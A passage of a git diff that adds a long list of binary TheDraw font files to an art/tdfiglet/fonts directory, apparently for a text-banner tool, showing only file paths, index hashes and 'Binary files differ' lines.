Binary files /dev/null and b/art/tdfiglet/fonts/focspopx.tdf differ
diff --git a/art/tdfiglet/fonts/font1.tdf b/art/tdfiglet/fonts/font1.tdf
new file mode 100644
index 0000000..c2e79cd
Binary files /dev/null and b/art/tdfiglet/fonts/font1.tdf differ
diff --git a/art/tdfiglet/fonts/font10.tdf b/art/tdfiglet/fonts/font10.tdf
new file mode 100644
index 0000000..50ed6fb
Binary files /dev/null and b/art/tdfiglet/fonts/font10.tdf differ
diff --git a/art/tdfiglet/fonts/font11.tdf b/art/tdfiglet/fonts/font11.tdf
new file mode 100644
index 0000000..d3ccb20
Binary files /dev/null and b/art/tdfiglet/fonts/font11.tdf differ
diff --git a/art/tdfiglet/fonts/font12x.tdf b/art/tdfiglet/fonts/font12x.tdf
new file mode 100644
index 0000000..475f416
Binary files /dev/null and b/art/tdfiglet/fonts/font12x.tdf differ
diff --git a/art/tdfiglet/fonts/font13.tdf b/art/tdfiglet/fonts/font13.tdf
new file mode 100644
index 0000000..b43c110
Binary files /dev/null and b/art/tdfiglet/fonts/font13.tdf differ
diff --git a/art/tdfiglet/fonts/font14.tdf b/art/tdfiglet/fonts/font14.tdf
new file mode 100644
index 0000000..27e909d
Binary files /dev/null and b/art/tdfiglet/fonts/font14.tdf differ
diff --git a/art/tdfiglet/fonts/font15.tdf b/art/tdfiglet/fonts/font15.tdf
new file mode 100644
index 0000000..acf7c00
Binary files /dev/null and b/art/tdfiglet/fonts/font15.tdf differ
diff --git a/art/tdfiglet/fonts/font16.tdf b/art/tdfiglet/fonts/font16.tdf
new file mode 100644
index 0000000..0f5e26b
Binary files /dev/null and b/art/tdfiglet/fonts/font16.tdf differ
diff --git a/art/tdfiglet/fonts/font17.tdf b/art/tdfiglet/fonts/font17.tdf
new file mode 100644
index 0000000..224666c
Binary files /dev/null and b/art/tdfiglet/fonts/font17.tdf differ
diff --git a/art/tdfiglet/fonts/font18.tdf b/art/tdfiglet/fonts/font18.tdf
new file mode 100644
index 0000000..ee3042c
Binary files /dev/null and b/art/tdfiglet/fonts/font18.tdf differ
diff --git a/art/tdfiglet/fonts/font19.tdf b/art/tdfiglet/fonts/font19.tdf
new file mode 100644
index 0000000..98d4da5
Binary files /dev/null and b/art/tdfiglet/fonts/font19.tdf differ
diff --git a/art/tdfiglet/fonts/font2.tdf b/art/tdfiglet/fonts/font2.tdf
new file mode 100644
index 0000000..232ae34
Binary files /dev/null and b/art/tdfiglet/fonts/font2.tdf differ
diff --git a/art/tdfiglet/fonts/font20.tdf b/art/tdfiglet/fonts/font20.tdf
new file mode 100644
index 0000000..b58f304
Binary files /dev/null and b/art/tdfiglet/fonts/font20.tdf differ
diff --git a/art/tdfiglet/fonts/font21x.tdf b/art/tdfiglet/fonts/font21x.tdf
new file mode 100644
index 0000000..919958b
Binary files /dev/null and b/art/tdfiglet/fonts/font21x.tdf differ
diff --git a/art/tdfiglet/fonts/font22x.tdf b/art/tdfiglet/fonts/font22x.tdf
new file mode 100644
index 0000000..621105f
Binary files /dev/null and b/art/tdfiglet/fonts/font22x.tdf differ
diff --git a/art/tdfiglet/fonts/font23.tdf b/art/tdfiglet/fonts/font23.tdf
new file mode 100644
index 0000000..f2be78f
Binary files /dev/null and b/art/tdfiglet/fonts/font23.tdf differ
diff --git a/art/tdfiglet/fonts/font25.tdf b/art/tdfiglet/fonts/font25.tdf
new file mode 100644
index 0000000..30b1c14
Binary files /dev/null and b/art/tdfiglet/fonts/font25.tdf differ
diff --git a/art/tdfiglet/fonts/font26ox.tdf b/art/tdfiglet/fonts/font26ox.tdf
new file mode 100644
index 0000000..ad98e31
Binary files /dev/null and b/art/tdfiglet/fonts/font26ox.tdf differ
diff --git a/art/tdfiglet/fonts/font26x.tdf b/art/tdfiglet/fonts/font26x.tdf
new file mode 100644
index 0000000..ebd8f54
Binary files /dev/null and b/art/tdfiglet/fonts/font26x.tdf differ
diff --git a/art/tdfiglet/fonts/font27.tdf b/art/tdfiglet/fonts/font27.tdf
new file mode 100644
index 0000000..7b65aad
Binary files /dev/null and b/art/tdfiglet/fonts/font27.tdf differ
diff --git a/art/tdfiglet/fonts/font28x.tdf b/art/tdfiglet/fonts/font28x.tdf
new file mode 100644
index 0000000..9e5fbb2
Binary files /dev/null and b/art/tdfiglet/fonts/font28x.tdf differ
diff --git a/art/tdfiglet/fonts/font29x.tdf b/art/tdfiglet/fonts/font29x.tdf
new file mode 100644
index 0000000..334577b
Binary files /dev/null and b/art/tdfiglet/fonts/font29x.tdf differ
diff --git a/art/tdfiglet/fonts/font2x.tdf b/art/tdfiglet/fonts/font2x.tdf
new file mode 100644
index 0000000..71554f0
Binary files /dev/null and b/art/tdfiglet/fonts/font2x.tdf differ
diff --git a/art/tdfiglet/fonts/font3.tdf b/art/tdfiglet/fonts/font3.tdf
new file mode 100644
index 0000000..9cccfb7
Binary files /dev/null and b/art/tdfiglet/fonts/font3.tdf differ
diff --git a/art/tdfiglet/fonts/font30.tdf b/art/tdfiglet/fonts/font30.tdf
new file mode 100644
index 0000000..b14ecdf
Binary files /dev/null and b/art/tdfiglet/fonts/font30.tdf differ
diff --git a/art/tdfiglet/fonts/font31.tdf b/art/tdfiglet/fonts/font31.tdf
new file mode 100644
index 0000000..41c00bc
Binary files /dev/null and b/art/tdfiglet/fonts/font31.tdf differ
diff --git a/art/tdfiglet/fonts/font32.tdf b/art/tdfiglet/fonts/font32.tdf
new file mode 100644
index 0000000..48c721e
Binary files /dev/null and b/art/tdfiglet/fonts/font32.tdf differ
diff --git a/art/tdfiglet/fonts/font33.tdf b/art/tdfiglet/fonts/font33.tdf
new file mode 100644
index 0000000..aca9797
Binary files /dev/null and b/art/tdfiglet/fonts/font33.tdf differ
diff --git a/art/tdfiglet/fonts/font34.tdf b/art/tdfiglet/fonts/font34.tdf
new file mode 100644
index 0000000..b029e58
Binary files /dev/null and b/art/tdfiglet/fonts/font34.tdf differ
diff --git a/art/tdfiglet/fonts/font35.tdf b/art/tdfiglet/fonts/font35.tdf
new file mode 100644
index 0000000..32c9745
Binary files /dev/null and b/art/tdfiglet/fonts/font35.tdf differ
diff --git a/art/tdfiglet/fonts/font36.tdf b/art/tdfiglet/fonts/font36.tdf
new file mode 100644
index 0000000..cd67c53
Binary files /dev/null and b/art/tdfiglet/fonts/font36.tdf differ
diff --git a/art/tdfiglet/fonts/font37.tdf b/art/tdfiglet/fonts/font37.tdf
new file mode 100644
index 0000000..42cc762
Binary files /dev/null and b/art/tdfiglet/fonts/font37.tdf differ
diff --git a/art/tdfiglet/fonts/font37r.tdf b/art/tdfiglet/fonts/font37r.tdf
new file mode 100644
index 0000000..3dfd9fe
Binary files /dev/null and b/art/tdfiglet/fonts/font37r.tdf differ
diff --git a/art/tdfiglet/fonts/font38.tdf b/art/tdfiglet/fonts/font38.tdf
new file mode 100644
index 0000000..a07fbf0
Binary files /dev/null and b/art/tdfiglet/fonts/font38.tdf differ
diff --git a/art/tdfiglet/fonts/font39.tdf b/art/tdfiglet/fonts/font39.tdf
new file mode 100644
index 0000000..83acc23
Binary files /dev/null and b/art/tdfiglet/fonts/font39.tdf differ
diff --git a/art/tdfiglet/fonts/font4.tdf b/art/tdfiglet/fonts/font4.tdf
new file mode 100644
index 0000000..7493e87
Binary files /dev/null and b/art/tdfiglet/fonts/font4.tdf differ
diff --git a/art/tdfiglet/fonts/font40x.tdf b/art/tdfiglet/fonts/font40x.tdf
new file mode 100644
index 0000000..8c6f672
Binary files /dev/null and b/art/tdfiglet/fonts/font40x.tdf differ
diff --git a/art/tdfiglet/fonts/font41.tdf b/art/tdfiglet/fonts/font41.tdf
new file mode 100644
index 0000000..f9c5e0e
Binary files /dev/null and b/art/tdfiglet/fonts/font41.tdf differ
diff --git a/art/tdfiglet/fonts/font42x.tdf b/art/tdfiglet/fonts/font42x.tdf
new file mode 100644
index 0000000..174eaef
Binary files /dev/null and b/art/tdfiglet/fonts/font42x.tdf differ
diff --git a/art/tdfiglet/fonts/font43x.tdf b/art/tdfiglet/fonts/font43x.tdf
new file mode 100644
index 0000000..4f8f406
Binary files /dev/null and b/art/tdfiglet/fonts/font43x.tdf differ
diff --git a/art/tdfiglet/fonts/font44x.tdf b/art/tdfiglet/fonts/font44x.tdf
new file mode 100644
index 0000000..43ec16f
Binary files /dev/null and b/art/tdfiglet/fonts/font44x.tdf differ
diff --git a/art/tdfiglet/fonts/font45x.tdf b/art/tdfiglet/fonts/font45x.tdf
new file mode 100644
index 0000000..eeecf9e
Binary files /dev/null and b/art/tdfiglet/fonts/font45x.tdf differ
diff --git a/art/tdfiglet/fonts/font46.tdf b/art/tdfiglet/fonts/font46.tdf
new file mode 100644
index 0000000..951b5c6
Binary files /dev/null and b/art/tdfiglet/fonts/font46.tdf differ
diff --git a/art/tdfiglet/fonts/font47x.tdf b/art/tdfiglet/fonts/font47x.tdf
new file mode 100644
index 0000000..632721e
Binary files /dev/null and b/art/tdfiglet/fonts/font47x.tdf differ
diff --git a/art/tdfiglet/fonts/font48.tdf b/art/tdfiglet/fonts/font48.tdf
new file mode 100644
index 0000000..2dbb4b9
Binary files /dev/null and b/art/tdfiglet/fonts/font48.tdf differ
diff --git a/art/tdfiglet/fonts/font49.tdf b/art/tdfiglet/fonts/font49.tdf
new file mode 100644
index 0000000..5054fb2
Binary files /dev/null and b/art/tdfiglet/fonts/font49.tdf differ
diff --git a/art/tdfiglet/fonts/font4x.tdf b/art/tdfiglet/fonts/font4x.tdf
new file mode 100644
index 0000000..1cf609b
Binary files /dev/null and b/art/tdfiglet/fonts/font4x.tdf differ
diff --git a/art/tdfiglet/fonts/font5.tdf b/art/tdfiglet/fonts/font5.tdf
new file mode 100644
index 0000000..416cc62
Binary files /dev/null and b/art/tdfiglet/fonts/font5.tdf differ
diff --git a/art/tdfiglet/fonts/font50.tdf b/art/tdfiglet/fonts/font50.tdf
new file mode 100644
index 0000000..cd2c8bc
Binary files /dev/null and b/art/tdfiglet/fonts/font50.tdf differ
diff --git a/art/tdfiglet/fonts/font51.tdf b/art/tdfiglet/fonts/font51.tdf
new file mode 100644
index 0000000..50092f0
Binary files /dev/null and b/art/tdfiglet/fonts/font51.tdf differ
diff --git a/art/tdfiglet/fonts/font52.tdf b/art/tdfiglet/fonts/font52.tdf
new file mode 100644
index 0000000..aba7399
Binary files /dev/null and b/art/tdfiglet/fonts/font52.tdf differ
diff --git a/art/tdfiglet/fonts/font53x.tdf b/art/tdfiglet/fonts/font53x.tdf
new file mode 100644
index 0000000..f3e0295
Binary files /dev/null and b/art/tdfiglet/fonts/font53x.tdf differ
diff --git a/art/tdfiglet/fonts/font54x.tdf b/art/tdfiglet/fonts/font54x.tdf
new file mode 100644
index 0000000..f3cfc2f
Binary files /dev/null and b/art/tdfiglet/fonts/font54x.tdf differ
diff --git a/art/tdfiglet/fonts/font55x.tdf b/art/tdfiglet/fonts/font55x.tdf
new file mode 100644
index 0000000..a1e9940
Binary files /dev/null and b/art/tdfiglet/fonts/font55x.tdf differ
diff --git a/art/tdfiglet/fonts/font56x.tdf b/art/tdfiglet/fonts/font56x.tdf
new file mode 100644
index 0000000..3f76daf
Binary files /dev/null and b/art/tdfiglet/fonts/font56x.tdf differ
diff --git a/art/tdfiglet/fonts/font57.tdf b/art/tdfiglet/fonts/font57.tdf
new file mode 100644
index 0000000..29220d1
Binary files /dev/null and b/art/tdfiglet/fonts/font57.tdf differ
diff --git a/art/tdfiglet/fonts/font58x.tdf b/art/tdfiglet/fonts/font58x.tdf
new file mode 100644
index 0000000..6d1c7cb
Binary files /dev/null and b/art/tdfiglet/fonts/font58x.tdf differ
diff --git a/art/tdfiglet/fonts/font59x.tdf b/art/tdfiglet/fonts/font59x.tdf
new file mode 100644
index 0000000..55fc684
Binary files /dev/null and b/art/tdfiglet/fonts/font59x.tdf differ
diff --git a/art/tdfiglet/fonts/font5x.tdf b/art/tdfiglet/fonts/font5x.tdf
new file mode 100644
index 0000000..7aa5408
Binary files /dev/null and b/art/tdfiglet/fonts/font5x.tdf differ
diff --git a/art/tdfiglet/fonts/font6.tdf b/art/tdfiglet/fonts/font6.tdf
new file mode 100644
index 0000000..82197a7
Binary files /dev/null and b/art/tdfiglet/fonts/font6.tdf differ
diff --git a/art/tdfiglet/fonts/font60x.tdf b/art/tdfiglet/fonts/font60x.tdf
new file mode 100644
index 0000000..5ead465
Binary files /dev/null and b/art/tdfiglet/fonts/font60x.tdf differ
diff --git a/art/tdfiglet/fonts/font61x.tdf b/art/tdfiglet/fonts/font61x.tdf
new file mode 100644
index 0000000..c793705
Binary files /dev/null and b/art/tdfiglet/fonts/font61x.tdf differ
diff --git a/art/tdfiglet/fonts/font62.tdf b/art/tdfiglet/fonts/font62.tdf
new file mode 100644
index 0000000..afad3c9
Binary files /dev/null and b/art/tdfiglet/fonts/font62.tdf differ
diff --git a/art/tdfiglet/fonts/font64.tdf b/art/tdfiglet/fonts/font64.tdf
new file mode 100644
index 0000000..9300548
Binary files /dev/null and b/art/tdfiglet/fonts/font64.tdf differ
diff --git a/art/tdfiglet/fonts/font65.tdf b/art/tdfiglet/fonts/font65.tdf
new file mode 100644
index 0000000..815d3e0
Binary files /dev/null and b/art/tdfiglet/fonts/font65.tdf differ
diff --git a/art/tdfiglet/fonts/font66.tdf b/art/tdfiglet/fonts/font66.tdf
new file mode 100644
index 0000000..e85e395
Binary files /dev/null and b/art/tdfiglet/fonts/font66.tdf differ
diff --git a/art/tdfiglet/fonts/font67x.tdf b/art/tdfiglet/fonts/font67x.tdf
new file mode 100644
index 0000000..7cfd213
Binary files /dev/null and b/art/tdfiglet/fonts/font67x.tdf differ
diff --git a/art/tdfiglet/fonts/font68.tdf b/art/tdfiglet/fonts/font68.tdf
new file mode 100644
index 0000000..c0a9a08
Binary files /dev/null and b/art/tdfiglet/fonts/font68.tdf differ
diff --git a/art/tdfiglet/fonts/font69.tdf b/art/tdfiglet/fonts/font69.tdf
new file mode 100644
index 0000000..791be3d
Binary files /dev/null and b/art/tdfiglet/fonts/font69.tdf differ
diff --git a/art/tdfiglet/fonts/font7.tdf b/art/tdfiglet/fonts/font7.tdf
new file mode 100644
index 0000000..0531242
Binary files /dev/null and b/art/tdfiglet/fonts/font7.tdf differ
diff --git a/art/tdfiglet/fonts/font70.tdf b/art/tdfiglet/fonts/font70.tdf
new file mode 100644
index 0000000..093f3cf
Binary files /dev/null and b/art/tdfiglet/fonts/font70.tdf differ
diff --git a/art/tdfiglet/fonts/font71.tdf b/art/tdfiglet/fonts/font71.tdf
new file mode 100644
index 0000000..cb4f456
Binary files /dev/null and b/art/tdfiglet/fonts/font71.tdf differ
diff --git a/art/tdfiglet/fonts/font72.tdf b/art/tdfiglet/fonts/font72.tdf
new file mode 100644
index 0000000..b35efd8
Binary files /dev/null and b/art/tdfiglet/fonts/font72.tdf differ
diff --git a/art/tdfiglet/fonts/font72ox.tdf b/art/tdfiglet/fonts/font72ox.tdf
new file mode 100644
index 0000000..f66ab0d
Binary files /dev/null and b/art/tdfiglet/fonts/font72ox.tdf differ
diff --git a/art/tdfiglet/fonts/font73.tdf b/art/tdfiglet/fonts/font73.tdf
new file mode 100644
index 0000000..633d940
Binary files /dev/null and b/art/tdfiglet/fonts/font73.tdf differ
diff --git a/art/tdfiglet/fonts/font74.tdf b/art/tdfiglet/fonts/font74.tdf
new file mode 100644
index 0000000..c8dacdc
Binary files /dev/null and b/art/tdfiglet/fonts/font74.tdf differ
diff --git a/art/tdfiglet/fonts/font76x.tdf b/art/tdfiglet/fonts/font76x.tdf
new file mode 100644
index 0000000..800c71d
Binary files /dev/null and b/art/tdfiglet/fonts/font76x.tdf differ
diff --git a/art/tdfiglet/fonts/font77.tdf b/art/tdfiglet/fonts/font77.tdf
new file mode 100644
index 0000000..74a6a66
Binary files /dev/null and b/art/tdfiglet/fonts/font77.tdf differ
diff --git a/art/tdfiglet/fonts/font78x.tdf b/art/tdfiglet/fonts/font78x.tdf
new file mode 100644
index 0000000..def9de5
Binary files /dev/null and b/art/tdfiglet/fonts/font78x.tdf differ
diff --git a/art/tdfiglet/fonts/font79x.tdf b/art/tdfiglet/fonts/font79x.tdf
new file mode 100644
index 0000000..5a67f20
Binary files /dev/null and b/art/tdfiglet/fonts/font79x.tdf differ
diff --git a/art/tdfiglet/fonts/font8.tdf b/art/tdfiglet/fonts/font8.tdf
new file mode 100644
index 0000000..81ab943
Binary files /dev/null and b/art/tdfiglet/fonts/font8.tdf differ
diff --git a/art/tdfiglet/fonts/font80.tdf b/art/tdfiglet/fonts/font80.tdf
new file mode 100644
index 0000000..bfc2625
Binary files /dev/null and b/art/tdfiglet/fonts/font80.tdf differ
diff --git a/art/tdfiglet/fonts/font81x.tdf b/art/tdfiglet/fonts/font81x.tdf
new file mode 100644
index 0000000..b049b6c
Binary files /dev/null and b/art/tdfiglet/fonts/font81x.tdf differ
diff --git a/art/tdfiglet/fonts/font82.tdf b/art/tdfiglet/fonts/font82.tdf
new file mode 100644
index 0000000..8654e05
Binary files /dev/null and b/art/tdfiglet/fonts/font82.tdf differ
diff --git a/art/tdfiglet/fonts/font83x.tdf b/art/tdfiglet/fonts/font83x.tdf
new file mode 100644
index 0000000..0d45f62
Binary files /dev/null and b/art/tdfiglet/fonts/font83x.tdf differ
diff --git a/art/tdfiglet/fonts/font84x.tdf b/art/tdfiglet/fonts/font84x.tdf
new file mode 100644
index 0000000..3f754dd
Binary files /dev/null and b/art/tdfiglet/fonts/font84x.tdf differ
diff --git a/art/tdfiglet/fonts/font85.tdf b/art/tdfiglet/fonts/font85.tdf
new file mode 100644
index 0000000..58aef30
Binary files /dev/null and b/art/tdfiglet/fonts/font85.tdf differ
diff --git a/art/tdfiglet/fonts/font9.tdf b/art/tdfiglet/fonts/font9.tdf
new file mode 100644
index 0000000..3db8cd9
Binary files /dev/null and b/art/tdfiglet/fonts/font9.tdf differ
diff --git a/art/tdfiglet/fonts/forbiddx.tdf b/art/tdfiglet/fonts/forbiddx.tdf
new file mode 100644
index 0000000..50a77b0
Binary files /dev/null and b/art/tdfiglet/fonts/forbiddx.tdf differ
diff --git a/art/tdfiglet/fonts/forgotex.tdf b/art/tdfiglet/fonts/forgotex.tdf
new file mode 100644
index 0000000..1fbdbd1
Binary files /dev/null and b/art/tdfiglet/fonts/forgotex.tdf differ
diff --git a/art/tdfiglet/fonts/foundatx.tdf b/art/tdfiglet/fonts/foundatx.tdf
new file mode 100644
index 0000000..64ab493
Binary files /dev/null and b/art/tdfiglet/fonts/foundatx.tdf differ
diff --git a/art/tdfiglet/fonts/fraktur.tdf b/art/tdfiglet/fonts/fraktur.tdf
new file mode 100644
index 0000000..28aaa04
Binary files /dev/null and b/art/tdfiglet/fonts/fraktur.tdf differ
diff --git a/art/tdfiglet/fonts/freak-10.tdf b/art/tdfiglet/fonts/freak-10.tdf
new file mode 100644
index 0000000..71effad
Binary files /dev/null and b/art/tdfiglet/fonts/freak-10.tdf differ
diff --git a/art/tdfiglet/fonts/freak-11.tdf b/art/tdfiglet/fonts/freak-11.tdf
new file mode 100644
index 0000000..8d4f66c
Binary files /dev/null and b/art/tdfiglet/fonts/freak-11.tdf differ
diff --git a/art/tdfiglet/fonts/freak-2.tdf b/art/tdfiglet/fonts/freak-2.tdf
new file mode 100644
index 0000000..cc9ccf5
Binary files /dev/null and b/art/tdfiglet/fonts/freak-2.tdf differ
diff --git a/art/tdfiglet/fonts/freak-4.tdf b/art/tdfiglet/fonts/freak-4.tdf
new file mode 100644
index 0000000..eb989da
Binary files /dev/null and b/art/tdfiglet/fonts/freak-4.tdf differ
diff --git a/art/tdfiglet/fonts/freak-5.tdf b/art/tdfiglet/fonts/freak-5.tdf
new file mode 100644
index 0000000..d21f750
Binary files /dev/null and b/art/tdfiglet/fonts/freak-5.tdf differ
diff --git a/art/tdfiglet/fonts/freak112.tdf b/art/tdfiglet/fonts/freak112.tdf
new file mode 100644
index 0000000..9c64c2e
Binary files /dev/null and b/art/tdfiglet/fonts/freak112.tdf differ
diff --git a/art/tdfiglet/fonts/freak_52.tdf b/art/tdfiglet/fonts/freak_52.tdf
new file mode 100644
index 0000000..7b10a7c
Binary files /dev/null and b/art/tdfiglet/fonts/freak_52.tdf differ
diff --git a/art/tdfiglet/fonts/freeside.tdf b/art/tdfiglet/fonts/freeside.tdf
new file mode 100644
index 0000000..b6fe4c1
Binary files /dev/null and b/art/tdfiglet/fonts/freeside.tdf differ
diff --git a/art/tdfiglet/fonts/freside2.tdf b/art/tdfiglet/fonts/freside2.tdf
new file mode 100644
index 0000000..d6e3d0a
Binary files /dev/null and b/art/tdfiglet/fonts/freside2.tdf differ
diff --git a/art/tdfiglet/fonts/friendsp.tdf b/art/tdfiglet/fonts/friendsp.tdf
new file mode 100644
index 0000000..6b6a79e
Binary files /dev/null and b/art/tdfiglet/fonts/friendsp.tdf differ
diff --git a/art/tdfiglet/fonts/frzmoon.tdf b/art/tdfiglet/fonts/frzmoon.tdf
new file mode 100644
index 0000000..f267b16
Binary files /dev/null and b/art/tdfiglet/fonts/frzmoon.tdf differ
diff --git a/art/tdfiglet/fonts/ftegatex.tdf b/art/tdfiglet/fonts/ftegatex.tdf
new file mode 100644
index 0000000..78174a9
Binary files /dev/null and b/art/tdfiglet/fonts/ftegatex.tdf differ
diff --git a/art/tdfiglet/fonts/fth.tdf b/art/tdfiglet/fonts/fth.tdf
new file mode 100644
index 0000000..e5c5de3
Binary files /dev/null and b/art/tdfiglet/fonts/fth.tdf differ
diff --git a/art/tdfiglet/fonts/fundbird.tdf b/art/tdfiglet/fonts/fundbird.tdf
new file mode 100644
index 0000000..d785861
Binary files /dev/null and b/art/tdfiglet/fonts/fundbird.tdf differ
diff --git a/art/tdfiglet/fonts/fungi.tdf b/art/tdfiglet/fonts/fungi.tdf
new file mode 100644
index 0000000..cf92ce4
Binary files /dev/null and b/art/tdfiglet/fonts/fungi.tdf differ
diff --git a/art/tdfiglet/fonts/future2x.tdf b/art/tdfiglet/fonts/future2x.tdf
new file mode 100644
index 0000000..5e094fa
Binary files /dev/null and b/art/tdfiglet/fonts/future2x.tdf differ
diff --git a/art/tdfiglet/fonts/galaxyx.tdf b/art/tdfiglet/fonts/galaxyx.tdf
new file mode 100644
index 0000000..11fd52d
Binary files /dev/null and b/art/tdfiglet/fonts/galaxyx.tdf differ
diff --git a/art/tdfiglet/fonts/ganglanx.tdf b/art/tdfiglet/fonts/ganglanx.tdf
new file mode 100644
index 0000000..ebc9922
Binary files /dev/null and b/art/tdfiglet/fonts/ganglanx.tdf differ
diff --git a/art/tdfiglet/fonts/gardenx.tdf b/art/tdfiglet/fonts/gardenx.tdf
new file mode 100644
index 0000000..7a3fd42
Binary files /dev/null and b/art/tdfiglet/fonts/gardenx.tdf differ
diff --git a/art/tdfiglet/fonts/generatn.tdf b/art/tdfiglet/fonts/generatn.tdf
new file mode 100644
index 0000000..c395c93
Binary files /dev/null and b/art/tdfiglet/fonts/generatn.tdf differ
diff --git a/art/tdfiglet/fonts/genocide.tdf b/art/tdfiglet/fonts/genocide.tdf
new file mode 100644
index 0000000..6a0c0fc
Binary files /dev/null and b/art/tdfiglet/fonts/genocide.tdf differ
diff --git a/art/tdfiglet/fonts/ghost.tdf b/art/tdfiglet/fonts/ghost.tdf
new file mode 100644
index 0000000..cb966e0
Binary files /dev/null and b/art/tdfiglet/fonts/ghost.tdf differ
diff --git a/art/tdfiglet/fonts/ghostx.tdf b/art/tdfiglet/fonts/ghostx.tdf
new file mode 100644
index 0000000..7804480
Binary files /dev/null and b/art/tdfiglet/fonts/ghostx.tdf differ
diff --git a/art/tdfiglet/fonts/glarex.tdf b/art/tdfiglet/fonts/glarex.tdf
new file mode 100644
index 0000000..ff94ea9
Binary files /dev/null and b/art/tdfiglet/fonts/glarex.tdf differ
diff --git a/art/tdfiglet/fonts/gloomx.tdf b/art/tdfiglet/fonts/gloomx.tdf
new file mode 100644
index 0000000..d7fff14
Binary files /dev/null and b/art/tdfiglet/fonts/gloomx.tdf differ
diff --git a/art/tdfiglet/fonts/gloree.tdf b/art/tdfiglet/fonts/gloree.tdf
new file mode 100644
index 0000000..9a47c50
Binary files /dev/null and b/art/tdfiglet/fonts/gloree.tdf differ
diff --git a/art/tdfiglet/fonts/gluenew.tdf b/art/tdfiglet/fonts/gluenew.tdf
new file mode 100644
index 0000000..b00dcbc
Binary files /dev/null and b/art/tdfiglet/fonts/gluenew.tdf differ
diff --git a/art/tdfiglet/fonts/gnarlyx.tdf b/art/tdfiglet/fonts/gnarlyx.tdf
new file mode 100644
index 0000000..6b32831
Binary files /dev/null and b/art/tdfiglet/fonts/gnarlyx.tdf differ
diff --git a/art/tdfiglet/fonts/graffiti.tdf b/art/tdfiglet/fonts/graffiti.tdf
new file mode 100644
index 0000000..514f44d
Binary files /dev/null and b/art/tdfiglet/fonts/graffiti.tdf differ
diff --git a/art/tdfiglet/fonts/grandx.tdf b/art/tdfiglet/fonts/grandx.tdf
new file mode 100644
index 0000000..7f00210
Binary files /dev/null and b/art/tdfiglet/fonts/grandx.tdf differ
diff --git a/art/tdfiglet/fonts/graphicx.tdf b/art/tdfiglet/fonts/graphicx.tdf
new file mode 100644
index 0000000..a4a55f8
Binary files /dev/null and b/art/tdfiglet/fonts/graphicx.tdf differ
diff --git a/art/tdfiglet/fonts/gravex.tdf b/art/tdfiglet/fonts/gravex.tdf
new file mode 100644
index 0000000..3a585a8
Binary files /dev/null and b/art/tdfiglet/fonts/gravex.tdf differ
diff --git a/art/tdfiglet/fonts/greedx.tdf b/art/tdfiglet/fonts/greedx.tdf
new file mode 100644
index 0000000..29e2a7b
Binary files /dev/null and b/art/tdfiglet/fonts/greedx.tdf differ
diff --git a/art/tdfiglet/fonts/greenie.tdf b/art/tdfiglet/fonts/greenie.tdf
new file mode 100644
index 0000000..5905e4d
Binary files /dev/null and b/art/tdfiglet/fonts/greenie.tdf differ
diff --git a/art/tdfiglet/fonts/grnchaox.tdf b/art/tdfiglet/fonts/grnchaox.tdf
new file mode 100644
index 0000000..fcedc3f
Binary files /dev/null and b/art/tdfiglet/fonts/grnchaox.tdf differ
diff --git a/art/tdfiglet/fonts/grndzero.tdf b/art/tdfiglet/fonts/grndzero.tdf
new file mode 100644
index 0000000..dc45a95
Binary files /dev/null and b/art/tdfiglet/fonts/grndzero.tdf differ
diff --git a/art/tdfiglet/fonts/grndzerx.tdf b/art/tdfiglet/fonts/grndzerx.tdf
new file mode 100644
index 0000000..5cce34d
Binary files /dev/null and b/art/tdfiglet/fonts/grndzerx.tdf differ
diff --git a/art/tdfiglet/fonts/grndzsml.tdf b/art/tdfiglet/fonts/grndzsml.tdf
new file mode 100644
index 0000000..1788035
Binary files /dev/null and b/art/tdfiglet/fonts/grndzsml.tdf differ
diff --git a/art/tdfiglet/fonts/grndzsmx.tdf b/art/tdfiglet/fonts/grndzsmx.tdf
new file mode 100644
index 0000000..ccf49bc
Binary files /dev/null and b/art/tdfiglet/fonts/grndzsmx.tdf differ
diff --git a/art/tdfiglet/fonts/grnsht.tdf b/art/tdfiglet/fonts/grnsht.tdf
new file mode 100644
index 0000000..2c07d47
Binary files /dev/null and b/art/tdfiglet/fonts/grnsht.tdf differ
diff --git a/art/tdfiglet/fonts/grnshtx.tdf b/art/tdfiglet/fonts/grnshtx.tdf
new file mode 100644
index 0000000..e3c3fab
Binary files /dev/null and b/art/tdfiglet/fonts/grnshtx.tdf differ
diff --git a/art/tdfiglet/fonts/grveyard.tdf b/art/tdfiglet/fonts/grveyard.tdf
new file mode 100644
index 0000000..a4e16e3
Binary files /dev/null and b/art/tdfiglet/fonts/grveyard.tdf differ
diff --git a/art/tdfiglet/fonts/guardf2.tdf b/art/tdfiglet/fonts/guardf2.tdf
new file mode 100644
index 0000000..ff0288e
Binary files /dev/null and b/art/tdfiglet/fonts/guardf2.tdf differ
diff --git a/art/tdfiglet/fonts/guild.tdf b/art/tdfiglet/fonts/guild.tdf
new file mode 100644
index 0000000..da93bdd
Binary files /dev/null and b/art/tdfiglet/fonts/guild.tdf differ
diff --git a/art/tdfiglet/fonts/guild2.tdf b/art/tdfiglet/fonts/guild2.tdf
new file mode 100644
index 0000000..8c76f31
Binary files /dev/null and b/art/tdfiglet/fonts/guild2.tdf differ
diff --git a/art/tdfiglet/fonts/hack-tdf.tdf b/art/tdfiglet/fonts/hack-tdf.tdf
new file mode 100644
index 0000000..ad58869
Binary files /dev/null and b/art/tdfiglet/fonts/hack-tdf.tdf differ
diff --git a/art/tdfiglet/fonts/hacker2.tdf b/art/tdfiglet/fonts/hacker2.tdf
new file mode 100644
index 0000000..5fb84e6
Binary files /dev/null and b/art/tdfiglet/fonts/hacker2.tdf differ
diff --git a/art/tdfiglet/fonts/hackshck.tdf b/art/tdfiglet/fonts/hackshck.tdf
new file mode 100644
index 0000000..020f205
Binary files /dev/null and b/art/tdfiglet/fonts/hackshck.tdf differ
diff --git a/art/tdfiglet/fonts/hardtdfx.tdf b/art/tdfiglet/fonts/hardtdfx.tdf
new file mode 100644
index 0000000..3421fb3
Binary files /dev/null and b/art/tdfiglet/fonts/hardtdfx.tdf differ
diff --git a/art/tdfiglet/fonts/hardwrdx.tdf b/art/tdfiglet/fonts/hardwrdx.tdf
new file mode 100644
index 0000000..1144d79
Binary files /dev/null and b/art/tdfiglet/fonts/hardwrdx.tdf differ
diff --git a/art/tdfiglet/fonts/harlot.tdf b/art/tdfiglet/fonts/harlot.tdf
new file mode 100644
index 0000000..6c73c9a
Binary files /dev/null and b/art/tdfiglet/fonts/harlot.tdf differ
diff --git a/art/tdfiglet/fonts/harlotx.tdf b/art/tdfiglet/fonts/harlotx.tdf
new file mode 100644
index 0000000..7c5f3a0
